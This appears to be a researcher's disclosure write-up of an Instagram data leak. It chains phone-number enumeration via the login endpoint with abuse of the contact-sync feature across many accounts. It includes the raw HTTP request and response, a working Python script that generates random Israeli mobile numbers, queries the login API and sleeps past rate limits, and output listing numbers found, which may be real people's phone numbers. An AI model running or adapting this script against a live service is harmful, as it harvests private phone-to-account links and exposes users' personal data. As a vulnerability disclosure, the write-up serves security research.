
Data Leak – [Instagram](#)

By: @ZHacker13 .



Stage 1:

When we are trying to sign in to an instagram account with a username and password the server response will tell us if the user exists or not, let's see an example:

```
POST /accounts/login/ajax/ HTTP/1.1
Host: www.instagram.com
Content-Length: 27
Content-Type: application/x-www-form-urlencoded

username=USERNAME&password=

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 27

{"authenticated": false, "user": false, "status": "ok"}
```

we are sending the **USERNAME** in the request's body and waiting for response, we can see that the server responds with a json content and by looking at the "user" field we know that the user isn't exists, **So wait!** what are we talking about ? User enumeration is when an attacker can abuse user system by using brute force technique, a real life example will be: a man entering to school and trying to find all teachers names, he asked one of the students if the teacher "A" exists and the student answering him yes/no, if his response equals yes the man will remember and continue checking if names exists.

How we can exploit this system ?

Imagine a situation where you can send a thousand requests with random Phone-numbers generated by script and by checking user existence determine if number associated to an instagram account. That's exactly what we did ! By sending **15,000 requests** we got over **1,000 phone-numbers** in less of a day (**21 Hours**) !

```
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": true, "status": "ok"}
Found new phone number: 972536242268
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": true, "status": "ok"}
Found new phone number: 972528464459
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": true, "status": "ok"}
Found new phone number: 972558840047
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": true, "status": "ok"}
Found new phone number: 972594670031
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": false, "status": "ok"}
{"authenticated": false, "user": true, "status": "ok"}
Found new phone number: 972599879897
{"authenticated": false, "user": false, "status": "ok"}
```

```
import requests
import time
from random import randint, choice

class TooManyRequests(Exception):
    pass

def gen_number():
    country_code = '972'
    cellular_codes = ['50', '51', '52', '53', '54', '55', '56', '58', '59']
    return f'{country_code}{choice(cellular_codes)}{randint(1000000, 9999999)}'

def make_request(username):
    base_url = 'https://www.instagram.com'
    sess = requests.session()
    sess.get(base_url)
    sess.headers.update({
        'x-csrf-token': sess.cookies.get('csrftoken')
    })
    r = sess.post(f'{base_url}/accounts/login/ajax/', data={
        'username': username,
        'password': ''
    })
    if r.status_code == 429:
        raise TooManyRequests
    return r.status_code == 200 and r.json().get('user', False)

def run():
    phone_num = gen_number()
    try:
        print(f'Trying {phone_num}')
        if make_request(phone_num):
            print(f'Found new phone number: {phone_num}')
            time.sleep(2)
    except TooManyRequests:
        print('Waiting 10 minutes')
        time.sleep(600)

try:
    while True:
        run()
except KeyboardInterrupt:
    print('* Done')
```

Stage 2:

We decided that this isn't enough and there is no actual use of just brute forcing numbers, we must find the associated accounts !

We looked for a way to do that and suddenly we got an idea, what if we try to use "Sync contacts" feature on each phone-number that we found, in theory we can do that but we can sync only three times in every 24 hours (per user), so the only way is to open multiple accounts and split the work.



Proof of Concept:

Video: [Instagram Users Data Leak - PoC](#)

By opening 40 users we managed to get 143 Instagram random accounts details (based on 120 phone-numbers that we got in the enumeration Attack), With only 40 accounts we as Attackers can link 840 Phone-numbers in a single **week**,

In this Attack we actually show evidence to a valid "Data-Leak" of Random Instagram users (Phone-Number, UserID, UserName, Full-Name) via composition of those 2 Vulnerabilities: "Phone-number enumeration" (Stage 1) + "Sync contacts" feature abusing (Stage 2).

